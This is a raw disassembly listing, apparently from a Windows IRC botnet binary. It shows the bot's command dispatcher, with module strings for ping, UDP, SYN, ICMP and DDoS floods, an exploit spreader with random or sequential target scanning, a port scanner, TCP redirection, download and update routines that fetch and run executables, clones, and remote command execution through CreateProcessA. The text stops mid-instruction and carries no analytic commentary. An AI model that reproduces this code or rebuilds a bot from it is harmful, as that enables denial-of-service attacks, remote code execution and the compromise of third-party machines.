cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_40F629 loc_40F617: ; CODE XREF: sub_40CC09+2A1Ej cmp [ebp+var_1E8], ebx jnz short loc_40F653 push 32h call ds:dword_41F050 ; Sleep jmp short loc_40F617 ; --------------------------------------------------------------------------- loc_40F629: ; CODE XREF: sub_40CC09+2A0Cj call ds:off_41F06C push eax push offset a_e_1_0bPing__0 ; ".e.(1.0b) ( ping.m.d.l ) .. Failed t"... jmp loc_4101F3 ; --------------------------------------------------------------------------- loc_40F63A: ; CODE XREF: sub_40CC09+2932j push 0FEh lea eax, [ebp+var_1C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_415140 loc_40F650: ; CODE XREF: sub_40CC09+35F6j add esp, 0Ch loc_40F653: ; CODE XREF: sub_40CC09+2A14j ; sub_40CC09+2B69j ... cmp [ebp+var_8], ebx jnz loc_411B4A push ebx push [ebp+var_4] loc_40F660: ; CODE XREF: sub_40CC09+4C3Aj lea eax, [ebp+var_1C4] push eax push [ebp+var_8C] push esi jmp loc_411974 ; --------------------------------------------------------------------------- loc_40F673: ; CODE XREF: sub_40CC09+238Cj ; sub_40CC09+23A3j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_1EC], eax mov eax, [ebp+var_4] mov [ebp+var_1F0], eax lea eax, [ebp+var_284] push edi push eax call sub_415140 push [ebp+arg_18] call sub_413D7F push [ebp+arg_0] mov [ebp+var_204], eax call sub_413D7F push [ebp+arg_10] mov [ebp+var_200], eax call sub_413D7F mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_1FC], eax jz short loc_40F6D8 push esi call sub_413D7F pop ecx mov [ebp+var_1F8], eax jmp short loc_40F6DE ; --------------------------------------------------------------------------- loc_40F6D8: ; CODE XREF: sub_40CC09+2ABEj mov [ebp+var_1F8], ebx loc_40F6DE: ; CODE XREF: sub_40CC09+2ACDj push 7Fh lea eax, [ebp+var_304] push [ebp+var_8C] push eax call sub_415140 push [ebp+var_1FC] mov esi, [ebp+arg_4] lea eax, [ebp+var_284] mov [ebp+var_308], esi push [ebp+var_200] push eax lea eax, [ebp+var_1C4] push [ebp+var_204] push offset a_e_1_0bUdp_m_d ; ".e.(1.0b) ( udp.m.d.l ) .. Sending %"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 0Fh push eax call sub_4132BE add esp, 30h mov [ebp+var_1F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_308] push ebx push eax push offset sub_408C8F push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_1F4] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_40F782 loc_40F76C: ; CODE XREF: sub_40CC09+2B77j cmp [ebp+var_1E8], ebx jnz loc_40F653 push 32h call ds:dword_41F050 ; Sleep jmp short loc_40F76C ; --------------------------------------------------------------------------- loc_40F782: ; CODE XREF: sub_40CC09+2B61j call ds:off_41F06C push eax push offset a_e_1_0bUdp_m_0 ; ".e.(1.0b) ( udp.m.d.l ) .. Failed to"... jmp loc_4101F3 ; --------------------------------------------------------------------------- loc_40F793: ; CODE XREF: sub_40CC09+235Ej ; sub_40CC09+2375j push 8 call sub_413506 push [ebp+arg_18] mov [ebp+arg_8], eax call sub_413D7F add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 100h jle short loc_40F7E6 push [ebp+arg_8] lea eax, [ebp+var_1C4] push offset a_e_1_0bExploit ; ".e.(1.0b) ( exploit.m.d.l ) .. Alrea"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 loc_40F7DE: ; CODE XREF: sub_40CC09+3F56j add esp, 20h jmp loc_41217B ; --------------------------------------------------------------------------- loc_40F7E6: ; CODE XREF: sub_40CC09+2BA6j push edi call sub_413D7F push [ebp+arg_18] mov [ebp+var_21C], eax call sub_413D7F push [ebp+arg_0] mov [ebp+var_204], eax call sub_413D7F add esp, 0Ch cmp eax, 1 mov [ebp+var_218], eax jnb short loc_40F81F push 1 pop eax mov [ebp+var_218], eax loc_40F81F: ; CODE XREF: sub_40CC09+2C0Bj push 3Ch pop ecx cmp eax, ecx jbe short loc_40F82C mov [ebp+var_218], ecx loc_40F82C: ; CODE XREF: sub_40CC09+2C1Bj push [ebp+arg_10] call sub_413D7F mov [ebp+var_214], eax mov eax, 2710h cmp [ebp+var_214], eax pop ecx jbe short loc_40F84E mov [ebp+var_214], eax loc_40F84E: ; CODE XREF: sub_40CC09+2C3Dj or [ebp+var_200], 0FFFFFFFFh cmp dword_425A58, ebx mov [ebp+arg_0], ebx jz short loc_40F8A4 mov [ebp+arg_24], offset dword_425A58 loc_40F867: ; CODE XREF: sub_40CC09+2C7Dj mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_40F88A add [ebp+arg_24], 3Ch inc [ebp+arg_0] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_40F867 jmp short loc_40F8A4 ; --------------------------------------------------------------------------- loc_40F88A: ; CODE XREF: sub_40CC09+2C6Fj mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_200], eax imul ecx, 3Ch mov ecx, dword_425A58[ecx] mov [ebp+var_21C], ecx loc_40F8A4: ; CODE XREF: sub_40CC09+2C55j ; sub_40CC09+2C7Fj cmp [ebp+var_21C], ebx jz loc_411566 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_40F8EB cmp byte ptr [edi], 23h jz short loc_40F8EB push edi lea eax, [ebp+var_330] push 10h push eax call sub_413D8A push 78h push edi call sub_415BA0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_1F0], eax jmp loc_40F9BF ; --------------------------------------------------------------------------- loc_40F8EB: ; CODE XREF: sub_40CC09+2CB0j ; sub_40CC09+2CB5j cmp [ebp+var_8B3], bl jnz short loc_40F90D cmp [ebp+var_8B2], bl jnz short loc_40F90D cmp [ebp+var_8A2], bl jnz short loc_40F90D push offset a_e_1_0bExplo_0 ; ".e.(1.0b) ( exploit.m.d.l ) .. Faile"... jmp loc_411949 ; --------------------------------------------------------------------------- loc_40F90D: ; CODE XREF: sub_40CC09+2CE8j ; sub_40CC09+2CF0j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_1D8] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_44CC84 ; getsockname mov al, [ebp+var_8B3] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_1D4], eax push [ebp+var_1D4] call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_330] push eax call sub_415140 add esp, 0Ch cmp [ebp+var_8A2], bl jz short loc_40F9B9 xor eax, eax cmp [ebp+var_8B3], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_330] push eax call sub_415440 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_40F9AD loc_40F98B: ; CODE XREF: sub_40CC09+2DA2j cmp eax, ebx jz short loc_40F9AD mov byte ptr [eax], 78h lea eax, [ebp+var_330] push 30h push eax call sub_415440 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40F98B loc_40F9AD: ; CODE XREF: sub_40CC09+2D80j ; sub_40CC09+2D84j mov [ebp+var_1F0], 1 jmp short loc_40F9BF ; --------------------------------------------------------------------------- loc_40F9B9: ; CODE XREF: sub_40CC09+2D5Aj mov [ebp+var_1F0], ebx loc_40F9BF: ; CODE XREF: sub_40CC09+2CDDj ; sub_40CC09+2DAEj mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_220], eax mov eax, [ebp+var_4] mov [ebp+var_1F8], eax mov eax, [ebp+var_8] mov [ebp+var_1F4], eax mov edi, 80h lea eax, [ebp+var_320] push edi push eax call sub_413D8A mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_40FA10 loc_40F9FD: ; CODE XREF: sub_40CC09+2E2Aj push esi loc_40F9FE: ; CODE XREF: sub_40CC09+2E14j lea eax, [ebp+var_2A0] push edi push eax call sub_413D8A add esp, 0Ch jmp short loc_40FA3B ; --------------------------------------------------------------------------- loc_40FA10: ; CODE XREF: sub_40CC09+2DF2j mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40FA1F cmp byte ptr [eax], 23h jnz short loc_40FA1F push eax jmp short loc_40F9FE ; --------------------------------------------------------------------------- loc_40FA1F: ; CODE XREF: sub_40CC09+2E0Cj ; sub_40CC09+2E11j mov esi, offset off_42A3DC push offset byte_438A10 push esi call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40F9FD mov [ebp+var_2A0], bl loc_40FA3B: ; CODE XREF: sub_40CC09+2E05j cmp [ebp+var_1F0], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_40FA4D mov eax, offset aSequential ; "Sequential" loc_40FA4D: ; CODE XREF: sub_40CC09+2E3Dj push [ebp+var_204] lea ecx, [ebp+var_330] push [ebp+var_214] push [ebp+var_218] push [ebp+var_21C] push ecx push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bExplo_1 ; ".e.(1.0b) ( exploit.m.d.l ) .. %s Ex"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 8 push eax call sub_4132BE add esp, 2Ch mov [ebp+var_210], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_330] push ebx push eax push offset sub_406782 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_210] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_40FADB loc_40FAC5: ; CODE XREF: sub_40CC09+2ED0j cmp [ebp+var_1EC], ebx jnz loc_411957 push 32h call ds:dword_41F050 ; Sleep jmp short loc_40FAC5 ; --------------------------------------------------------------------------- loc_40FADB: ; CODE XREF: sub_40CC09+2EBAj call ds:off_41F06C push eax push offset a_e_1_0bExplo_2 ; ".e.(1.0b) ( exploit.m.d.l ) .. Faile"... jmp loc_411136 ; --------------------------------------------------------------------------- loc_40FAEC: ; CODE XREF: sub_40CC09+231Ej ; sub_40CC09+2335j push edi call sub_413D7F imul eax, 134h pop ecx cmp byte_452140[eax], bl jz loc_41217B cmp [ebp+var_C], ebx jz loc_41217B push [ebp+arg_18] call sub_413E90 push edi mov esi, eax call sub_413E90 push [ebp+arg_8] add esi, eax call sub_413E90 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_413DE0 mov esi, eax lea eax, [ebp+var_1C4] push esi push offset dword_432F38 push eax call sub_413812 add esp, 20h cmp esi, ebx jz loc_41217B push edi call sub_413D7F test eax, eax pop ecx jle loc_41217B push edi call sub_413D7F cmp eax, 2710h pop ecx jge loc_41217B push ebx lea eax, [ebp+var_1C4] push ebx push eax push [ebp+arg_18] push edi call sub_413D7F imul eax, 134h pop ecx push dword_452134[eax] call sub_40B2B5 push edi call sub_413D7F imul eax, 134h add esp, 18h cmp byte ptr dword_452028[eax], 73h jnz loc_41217B push esi push edi call sub_413D7F imul eax, 134h pop ecx add eax, offset byte_452140 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_40FBD4: ; CODE XREF: sub_40CC09+30C8j lea eax, [ebp+var_1C4] push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 loc_40FBF9: ; CODE XREF: sub_40CC09+4E2Dj add esp, 28h jmp loc_41217B ; --------------------------------------------------------------------------- loc_40FC01: ; CODE XREF: sub_40CC09+22F0j ; sub_40CC09+2307j push edi call sub_413D7F imul eax, 134h pop ecx cmp byte_452140[eax], bl jz loc_41217B cmp [ebp+var_C], ebx jz loc_41217B push [ebp+arg_18] call sub_413E90 push edi mov esi, eax call sub_413E90 push [ebp+arg_8] add esi, eax call sub_413E90 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_413DE0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_41217B push edi call sub_413D7F test eax, eax pop ecx jle loc_41217B push edi call sub_413D7F cmp eax, 2710h pop ecx jge loc_41217B push ebx push ebx push esi push [ebp+arg_18] push edi call sub_413D7F imul eax, 134h pop ecx push dword_452134[eax] call sub_40B2B5 push edi call sub_413D7F imul eax, 134h add esp, 18h cmp byte ptr dword_452028[eax], 73h jnz loc_41217B push esi push edi call sub_413D7F imul eax, 134h pop ecx add eax, offset byte_452140 push eax push [ebp+arg_18] push offset aSSS_2 ; "[%s] <%s> %s" jmp loc_40FBD4 ; --------------------------------------------------------------------------- loc_40FCD6: ; CODE XREF: sub_40CC09+22C2j ; sub_40CC09+22D9j push edi call dword_44CD18 ; inet_addr push [ebp+arg_18] mov [ebp+var_360], eax call sub_413D7F push [ebp+arg_0] mov [ebp+var_36C], eax call sub_413D7F mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_368], eax lea eax, [ebp+var_3EC] mov [ebp+var_3F0], esi push eax call sub_415140 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_358], edi push [ebp+var_368] mov [ebp+var_354], eax push [ebp+var_36C] push [ebp+var_360] call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bPortsca ; ".e.(1.0b) ( portscan.m.d.l ) .. Port"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 8 push eax call sub_4132BE add esp, 20h mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F0] push ebx push eax push offset sub_412BED push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_364] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_40FDB8 loc_40FDA2: ; CODE XREF: sub_40CC09+31ADj cmp [ebp+var_350], ebx jnz loc_411838 push 32h call ds:dword_41F050 ; Sleep jmp short loc_40FDA2 ; --------------------------------------------------------------------------- loc_40FDB8: ; CODE XREF: sub_40CC09+3197j call ds:off_41F06C push eax push offset a_e_1_0bPorts_0 ; ".e.(1.0b) ( portscan.m.d.l ) .. Fail"... jmp loc_411829 ; --------------------------------------------------------------------------- loc_40FDC9: ; CODE XREF: sub_40CC09+2294j ; sub_40CC09+22ABj push edi call sub_413D7F push 7Fh mov [ebp+var_200], eax push [ebp+arg_18] lea eax, [ebp+var_304] push eax call sub_415140 push [ebp+arg_0] call sub_413D7F push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_204], eax lea eax, [ebp+var_284] push 80h push eax mov [ebp+var_30C], esi call sub_413D8A mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_1F0], eax push [ebp+var_204] lea eax, [ebp+var_304] mov [ebp+var_1F4], edi push eax push [ebp+var_200] push esi call sub_408A5D pop ecx push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bRedirec ; ".e.(1.0b) ( redirect.m.d.l ) .. TCP "... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 10h push eax call sub_4132BE add esp, 24h mov [ebp+var_1FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_30C] push ebx push eax push offset sub_4069E1 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_1FC] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_40FEB2 loc_40FE9C: ; CODE XREF: sub_40CC09+32A7j cmp [ebp+var_1EC], ebx jnz loc_411838 push 32h call ds:dword_41F050 ; Sleep jmp short loc_40FE9C ; --------------------------------------------------------------------------- loc_40FEB2: ; CODE XREF: sub_40CC09+3291j call ds:off_41F06C push eax push offset a_e_1_0bRedir_0 ; ".e.(1.0b) ( redirect.m.d.l ) .. Fail"... jmp loc_411829 ; --------------------------------------------------------------------------- loc_40FEC3: ; CODE XREF: sub_40CC09+2266j ; sub_40CC09+227Dj push 0FFh lea eax, [ebp+var_688] push edi push eax call sub_415140 push 0FFh lea eax, [ebp+var_588] push [ebp+arg_18] push eax call sub_415140 push [ebp+arg_0] mov [ebp+var_484], ebx call sub_413D7F mov [ebp+var_480], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_40FF1F push 10h push ebx push eax call sub_414D0A add esp, 0Ch mov [ebp+var_478], eax jmp short loc_40FF25 ; --------------------------------------------------------------------------- loc_40FF1F: ; CODE XREF: sub_40CC09+3300j mov [ebp+var_478], ebx loc_40FF25: ; CODE XREF: sub_40CC09+3314j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40FF3C push esi call sub_413D7F pop ecx mov [ebp+var_47C], eax jmp short loc_40FF42 ; --------------------------------------------------------------------------- loc_40FF3C: ; CODE XREF: sub_40CC09+3322j mov [ebp+var_47C], ebx loc_40FF42: ; CODE XREF: sub_40CC09+3331j movzx eax, [ebp+var_8AF] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_474], eax lea eax, [ebp+var_708] mov [ebp+var_70C], esi push eax call sub_415140 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_46C], eax mov eax, [ebp+var_8] mov [ebp+var_470], eax push edi lea eax, [ebp+var_1C4] push offset a_e_1_0bDownloa ; ".e.(1.0b) ( download.m.d.l ) .. Down"... push eax call sub_413812 push esi lea eax, [ebp+var_1C4] push 16h push eax call sub_4132BE add esp, 28h mov [ebp+var_488], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_70C] push ebx push eax push offset sub_40A3AD push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_488] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_40FFF0 loc_40FFDA: ; CODE XREF: sub_40CC09+33E5j cmp [ebp+var_468], ebx jnz loc_40F653 push 32h call ds:dword_41F050 ; Sleep jmp short loc_40FFDA ; --------------------------------------------------------------------------- loc_40FFF0: ; CODE XREF: sub_40CC09+33CFj call ds:off_41F06C push eax push offset a_e_1_0bDownl_0 ; ".e.(1.0b) ( download.m.d.l ) .. Fail"... jmp loc_4101F3 ; --------------------------------------------------------------------------- loc_410001: ; CODE XREF: sub_40CC09+2238j ; sub_40CC09+224Fj push 7Fh lea eax, [ebp+var_674] pop esi push esi push edi push eax call sub_415140 push esi lea eax, [ebp+var_5F4] push [ebp+arg_18] push eax call sub_415140 push esi lea eax, [ebp+var_574] push [ebp+arg_0] push eax call sub_415140 push esi lea eax, [ebp+var_4F4] push [ebp+var_8C] push eax call sub_415140 mov eax, [ebp+var_8] push [ebp+arg_0] mov esi, [ebp+var_4] mov [ebp+var_46C], eax loc_410054: ; DATA XREF: .data:0042240Do ; .data:004231FDo mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_678], eax lea eax, [ebp+var_1C4] push edi push offset a_e_1_0bSyn_m_d ; ".e.(1.0b) ( syn.m.d.l ) .. Flooding:"... push eax mov [ebp+var_470], esi call sub_413812 add esp, 44h lea eax, [ebp+var_1C4] push ebx push 0Bh push eax call sub_4132BE add esp, 0Ch mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_678] push ebx push eax push offset sub_40182F push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_474] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_4100D4 loc_4100C2: ; CODE XREF: sub_40CC09+34C9j cmp [ebp+var_468], ebx jnz short loc_4100EF push 32h call ds:dword_41F050 ; Sleep jmp short loc_4100C2 ; --------------------------------------------------------------------------- loc_4100D4: ; CODE XREF: sub_40CC09+34B7j call ds:off_41F06C push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bSyn_m_0 ; ".e.(1.0b) ( syn.m.d.l ) .. Failed to"... push eax call sub_413812 add esp, 0Ch loc_4100EF: ; CODE XREF: sub_40CC09+34BFj cmp [ebp+var_8], ebx jnz loc_411B4A push ebx push esi jmp loc_411964 ; --------------------------------------------------------------------------- loc_4100FF: ; CODE XREF: sub_40CC09+21F3j ; sub_40CC09+220Aj ... push 7Fh lea eax, [ebp+var_6F0] pop esi push esi push edi push eax call sub_415140 push esi lea eax, [ebp+var_670] push [ebp+arg_18] push eax call sub_415140 push esi lea eax, [ebp+var_5F0] push [ebp+arg_0] push eax call sub_415140 push esi lea eax, [ebp+var_570] push [ebp+var_8C] push eax call sub_415140 push 20h lea eax, [ebp+var_4F0] push [ebp+arg_8] push eax call sub_415140 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_470], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_46C], eax lea eax, [ebp+var_1C4] push edi push offset a_e_1_0bDdos_m_ ; ".e.(1.0b) ( ddos.m.d.l ) .. Flooding"... push eax mov [ebp+var_6F8], esi call sub_413812 add esp, 50h lea eax, [ebp+var_1C4] push ebx push 0Ah push eax call sub_4132BE add esp, 0Ch mov [ebp+var_6F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F8] push ebx push eax push offset sub_401000 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_6F4] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_4101E7 loc_4101D1: ; CODE XREF: sub_40CC09+35DCj cmp [ebp+var_468], ebx jnz loc_40F653 push 32h call ds:dword_41F050 ; Sleep jmp short loc_4101D1 ; --------------------------------------------------------------------------- loc_4101E7: ; CODE XREF: sub_40CC09+35C6j call ds:off_41F06C push eax push offset a_e_1_0bDdos__0 ; ".e.(1.0b) ( ddos.m.d.l ) .. Failed t"... loc_4101F3: ; CODE XREF: sub_40CC09+2A2Cj ; sub_40CC09+2B85j ... lea eax, [ebp+var_1C4] push eax call sub_413812 jmp loc_40F650 ; --------------------------------------------------------------------------- loc_410204: ; CODE XREF: sub_40CC09+21C5j ; sub_40CC09+21DCj push 7Fh lea eax, [ebp+var_344] push edi push eax call sub_415140 push [ebp+arg_18] call sub_413D7F push 3Fh mov [ebp+var_1F4], eax push [ebp+arg_0] lea eax, [ebp+var_2C4] push eax call sub_415140 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_410252 push 3Fh lea eax, [ebp+var_284] push esi push eax call sub_415140 add esp, 0Ch loc_410252: ; CODE XREF: sub_40CC09+3635j lea eax, [ebp+var_2C4] mov [ebp+var_1F0], 1 push eax lea eax, [ebp+var_344] push [ebp+var_1F4] push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bClones_ ; ".e.(1.0b) ( clones.m.d.l ) .. Create"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 18h push eax call sub_4132BE add esp, 20h mov [ebp+var_1EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_348] push ebx push eax push offset sub_40C929 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_1EC] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_4102DE loc_4102C8: ; CODE XREF: sub_40CC09+36D3j cmp [ebp+var_1E8], ebx jnz loc_40F1B2 push 32h call ds:dword_41F050 ; Sleep jmp short loc_4102C8 ; --------------------------------------------------------------------------- loc_4102DE: ; CODE XREF: sub_40CC09+36BDj call ds:off_41F06C push eax push offset a_e_1_0bClone_0 ; ".e.(1.0b) ( clones.m.d.l ) .. Failed"... jmp loc_40F1A3 ; --------------------------------------------------------------------------- loc_4102EF: ; CODE XREF: sub_40CC09+2185j ; sub_40CC09+219Cj push [ebp+arg_18] call sub_413D7F cmp eax, ebx pop ecx mov [ebp+var_478], eax jle loc_4103E0 mov esi, 80h push edi lea eax, [ebp+var_600] push esi push eax call sub_413D8A xor eax, eax cmp [ebp+var_8A2], bl push [ebp+var_8C] setnz al mov [ebp+var_474], eax mov eax, [ebp+arg_4] mov [ebp+var_604], eax lea eax, [ebp+var_500] push esi push eax call sub_413D8A mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_470], eax mov eax, [ebp+var_8] mov [ebp+var_46C], eax push edi push offset a_e_1_0bIcmp_m_ ; ".e.(1.0b) ( icmp.m.d.l ) .. Flooding"... lea eax, [ebp+var_1C4] push 0FFh push eax call sub_413D8A push ebx lea eax, [ebp+var_1C4] push 0Dh push eax call sub_4132BE add esp, 38h mov [ebp+var_480], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_604] push ebx push eax push offset sub_401447 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_480] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_4103CF loc_4103B9: ; CODE XREF: sub_40CC09+37C4j cmp [ebp+var_468], ebx jnz loc_411957 push 32h call ds:dword_41F050 ; Sleep jmp short loc_4103B9 ; --------------------------------------------------------------------------- loc_4103CF: ; CODE XREF: sub_40CC09+37AEj call ds:off_41F06C push eax push offset a_e_1_0bIcmp__0 ; ".e.(1.0b) ( icmp.m.d.l ) .. Failed t"... jmp loc_411136 ; --------------------------------------------------------------------------- loc_4103E0: ; CODE XREF: sub_40CC09+36F7j push offset a_e_1_0bIcmp__1 ; ".e.(1.0b) ( icmp.m.d.l ) .. Invalid "... jmp loc_411949 ; --------------------------------------------------------------------------- loc_4103EA: ; CODE XREF: sub_40CC09+2157j ; sub_40CC09+216Ej push [ebp+arg_18] push edi call ds:off_41F134 test eax, eax jz short loc_410417 push [ebp+arg_18] lea eax, [ebp+var_1C4] push edi push offset a_e_1_0bFile_m_ ; ".e.(1.0b) ( file.m.d.l ) .. Rename: "... push 0FFh push eax call sub_413D8A add esp, 14h jmp short loc_410436 ; --------------------------------------------------------------------------- loc_410417: ; CODE XREF: sub_40CC09+37EDj push offset a_e_1_0bFile__0 ; ".e.(1.0b) ( file.m.d.l ) .. " call sub_4084F4 push eax lea eax, [ebp+var_1C4] push 0FFh push eax call sub_413D8A add esp, 10h loc_410436: ; CODE XREF: sub_40CC09+1B8Dj ; sub_40CC09+1BBDj ... cmp [ebp+var_8], ebx jnz short loc_410457 push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 14h loc_410457: ; CODE XREF: sub_40CC09+7E4j ; sub_40CC09+9A4j ... push 1 pop esi loc_41045A: ; CODE XREF: sub_40CC09+3AABj ; sub_40CC09+42F0j ... lea eax, [ebp+var_1C4] push eax call sub_409833 pop ecx mov eax, esi jmp loc_40CFD0 ; --------------------------------------------------------------------------- loc_41046E: ; CODE XREF: sub_40CC09+2129j ; sub_40CC09+2140j push 44h lea eax, [ebp+var_38C] pop esi push esi push ebx push eax call sub_413890 push 1 mov [ebp+var_38C], esi pop esi mov word ptr [ebp+var_35C], bx push edi mov [ebp+var_360], esi call sub_413D7F add esp, 10h cmp eax, esi jnz short loc_4104AB mov word ptr [ebp+var_35C], 5 loc_4104AB: ; CODE XREF: sub_40CC09+3897j cmp [ebp+var_C], ebx jz loc_40F1B2 push [ebp+arg_18] push [ebp+var_C] call sub_413DE0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_40F1B2 lea eax, [ebp+var_1D8] push eax lea eax, [ebp+var_38C] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call ds:dword_41F0D4 ; CreateProcessA test eax, eax jnz short loc_4104F6 push offset a_e_1_0bExec_m_ ; ".e.(1.0b) ( exec.m.d.l ) .. Couldn't"... jmp loc_410FA9 ; --------------------------------------------------------------------------- loc_4104F6: ; CODE XREF: sub_40CC09+38E1j push edi push offset a_e_1_0bExec__0 ; ".e.(1.0b) ( exec.m.d.l ) .. Commands"... jmp loc_40F1A3 ; --------------------------------------------------------------------------- loc_410501: ; CODE XREF: sub_40CC09+20FBj ; sub_40CC09+2112j push [ebp+arg_18] push offset aNt801 ; "nt801" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41067D lea eax, [ebp+var_2E8] push eax push 104h call ds:off_41F0E0 push 0FFh lea eax, [ebp+var_688] push edi push eax call sub_415140 lea eax, [ebp+var_1E4] push eax call sub_4127AA push eax lea eax, [ebp+var_2E8] push eax lea eax, [ebp+var_588] push offset aSS_exe ; "%s%s.exe" push eax call sub_413812 mov eax, [ebp+esi+var_88] add esp, 20h cmp eax, ebx mov [ebp+var_484], 1 mov [ebp+var_480], ebx jz short loc_410593 push 10h push ebx push eax call sub_414D0A add esp, 0Ch mov [ebp+var_478], eax jmp short loc_410599 ; --------------------------------------------------------------------------- loc_410593: ; CODE XREF: sub_40CC09+3974j mov [ebp+var_478], ebx loc_410599: ; CODE XREF: sub_40CC09+3988j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_4105B3 push esi call sub_413D7F pop ecx mov [ebp+var_47C], eax jmp short loc_4105B9 ; --------------------------------------------------------------------------- loc_4105B3: ; CODE XREF: sub_40CC09+3999j mov [ebp+var_47C], ebx loc_4105B9: ; CODE XREF: sub_40CC09+39A8j movzx eax, [ebp+var_8AF] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_474], eax lea eax, [ebp+var_708] mov [ebp+var_70C], esi push eax call sub_415140 mov eax, [ebp+var_4] push edi mov [ebp+var_46C], eax mov eax, [ebp+var_8] mov [ebp+var_470], eax lea eax, [ebp+var_1C4] push offset a_e_1_0bUpdate_ ; ".e.(1.0b) ( update.m.d.l ) .. Downlo"... push eax call sub_413812 push esi lea eax, [ebp+var_1C4] push 17h push eax call sub_4132BE add esp, 24h mov [ebp+var_488], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_70C] push ebx push eax push offset sub_40A3AD push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_488] imul ecx, 